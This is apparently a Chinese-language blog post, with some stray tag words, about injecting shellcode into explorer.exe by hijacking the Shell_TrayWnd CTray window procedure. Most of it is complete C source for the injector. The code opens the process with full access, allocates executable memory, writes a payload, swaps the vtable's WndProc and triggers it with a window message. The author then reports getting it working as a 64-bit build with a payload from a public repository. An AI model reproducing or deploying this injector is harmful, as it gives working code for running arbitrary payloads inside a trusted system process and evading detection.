今天介紹第三種遠程執行shellcode的思路:函數回調;前端
一、所謂回調,簡單理解:git
本次實驗利用windows窗口之間的消息傳遞機制執行本身的shellcode,核心原理以下:github
核心代碼以下:shell
頭文件:windows
//#define UNICODE #include "ntlib/ntddk.h" #include <stdio.h> #pragma comment(lib, "user32.lib") #pragma comment(lib, "shell32.lib") #pragma comment(lib, "ntdll.lib") // CTray object for Shell_TrayWnd typedef struct _ctray_vtable { ULONG_PTR vTable; // change to remote memory address ULONG_PTR AddRef; ULONG_PTR Release; ULONG_PTR WndProc; // window procedure (change to payload) } CTray; VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize); VOID kernelcallbacktable(LPVOID payload, DWORD payloadSize); DWORD readpic(PWCHAR path, LPVOID* pic); #endif // !_KCT_H
C文件:多線程
#include "ktc.h" VOID CTray_WndProc_Hook(LPVOID payload, DWORD payloadSize) { LPVOID cs, ds; CTray ct; ULONG_PTR ctp; HWND hw; HANDLE hp; DWORD pid; SIZE_T wr; // 1. Obtain a handle for the shell tray window hw = FindWindow(L"Shell_TrayWnd", NULL); // 2. Obtain a process id for explorer.exe GetWindowThreadProcessId(hw, &pid); printf("find window ID=%d\n", pid); // 3. Open explorer.exe hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // 4. Obtain pointer to the current CTray object ctp = GetWindowLongPtr(hw, 0); if (ctp == 0) { printf("GetWindowLongPtr failed!\n"); CloseHandle(hp); return; } // 5. Read address of the current CTray object ReadProcessMemory(hp, (LPVOID)ctp, (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr); // 6. Read three addresses from the virtual table ReadProcessMemory(hp, (LPVOID)ct.vTable, (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr); // 7. Allocate RWX memory for code cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 8. Copy the code to target process WriteProcessMemory(hp, cs, payload, payloadSize, &wr); printf("payload address:%p\n", payload); //printf("cs address:%p---->%s\n", cs, *(char *)cs);//cs是exlorer進程的地址,這裏讀會出事; printf("cs address:%p\n", cs); // 9. Allocate RW memory for the new CTray object ds = VirtualAllocEx(hp, NULL, sizeof(ct), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 10. Write the new CTray object to remote memory ct.vTable = (ULONG_PTR)ds + sizeof(ULONG_PTR); ct.WndProc = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); // 11. Set the new pointer to CTray object if (SetWindowLongPtr(hw, 0, (ULONG_PTR)ds) == 0) { printf("SetWindowLongPtr failed!\n"); VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); CloseHandle(hp); return; } //system("pause"); // 12. Trigger the payload via a windows message //PostMessage(hw, WM_CLOSE, 0, 0); PostMessage(hw, WM_PAINT, 0, 0); //SendNotifyMessageA(hw, WM_PAINT, 0, 0); //執行注入代碼 Sleep(1); //system("pause"); // 13. Restore the original CTray object SetWindowLongPtr(hw, 0, ctp); //system("pause"); // 14. Release memory and close handles VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT); CloseHandle(hp); } /*shellcode從bin文件讀出來*/ DWORD readpic(PWCHAR path, LPVOID* pic) { HANDLE hf; DWORD len, rd = 0; // 1. open the file hf = CreateFile(path, GENERIC_READ, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hf != INVALID_HANDLE_VALUE) { // get file size len = GetFileSize(hf, 0); // allocate memory *pic = malloc(len + 16); printf("*pic:%p------------->\n", *pic); // read file contents into memory ReadFile(hf, *pic, len, &rd, 0); CloseHandle(hf); } return rd; } int main(void) { LPVOID pic = NULL; DWORD len; int argc; PWCHAR* argv; argv = CommandLineToArgvW(GetCommandLine(), &argc); if (argc != 2) { printf("usage: kct <payload>\n"); return 0; } len = readpic(argv[1], &pic); if (len == 0) { printf("invalid payload\n"); return 0; } //kernelcallbacktable(pic, len); CTray_WndProc_Hook(pic, len); return 0; }
執行後:經過process hacker看,shellcode成功寫入explorer進程:wordpress
但最終結果並未按照預期彈出messageBox,反而致使explorer崩潰(表現爲沒法打開文件夾、下方任務欄點擊右鍵沒反應、點擊左下角的」開始「也沒反應);通過在不一樣代碼處添加pause,反覆嘗試屢次後發現問題所在:SetWindowLongPtr執行時出錯。我的猜想緣由(未經證明)以下:函數
SetWindowLongPtr執行時,會將原來默認的消息處理函數改爲咱們自定義的shellcode,這切換的過程須要時間;但windows是個很是複雜的系統,每毫秒、微妙甚至納秒都有消息須要處理,切換時還會收到大量消息(shellcode裏面的messageBox自己也要彈框),但切換過程當中這些消息來不及(或壓根沒法)處理,致使explorer崩潰,而後進程掛掉後自動重啓。這時再在任務欄點擊右鍵、點擊文件夾、點擊左下角的開始等地方都會有原來的反應;這讓我想起了前端時間學習用匯編寫操做系統時的一些trick: 執行重要指令時,先cli關閉中斷,避免指令被打斷。執行完成後再sti 重啓開啓中斷;但SetWindowLongPtr在執行的時候貌似並未有屏蔽消息的功能(後續會想一些辦法,好比逆向一些關鍵的dll去核實);學習
此次實驗算是失敗了,下面還有10來種shellcode 的注入辦法,後續會挨個嘗試,找到當下最合適的那個;spa
最後:借(chao)鑑(xi)了別人的思路和代碼以下:
https://www.sec-in.com/article/64
https://github.com/odzhan/injection
-------------------------------------------------------------------------分割線------------------------------------------------------------------------------------------------------------------------------------------------
一樣的代碼,今天編譯成64位,換了一個shellcode(https://github.com/odzhan/injection/tree/master/kct 這裏的release.bin),程序正常運行,shellcode執行完後彈出了記事本,這裏總結一下剛開始實驗時失敗的緣由:
一、explorer.exe是64位的,注入程序倒是32位的,儘快shellcode成功注入了explorer.exe,但SetWindowLongPtr執行完後底層並未成功置換原CTray,致使自定義的shellcode未能執行;
二、原shellcode:自己也是32位的,裏面的LoadLibrary和GetProcAddress都是在32位的環境下動態獲取的,在64位的exlporer.exe中沒法正常獲取其地址,反而致使explorer.exe自身崩潰;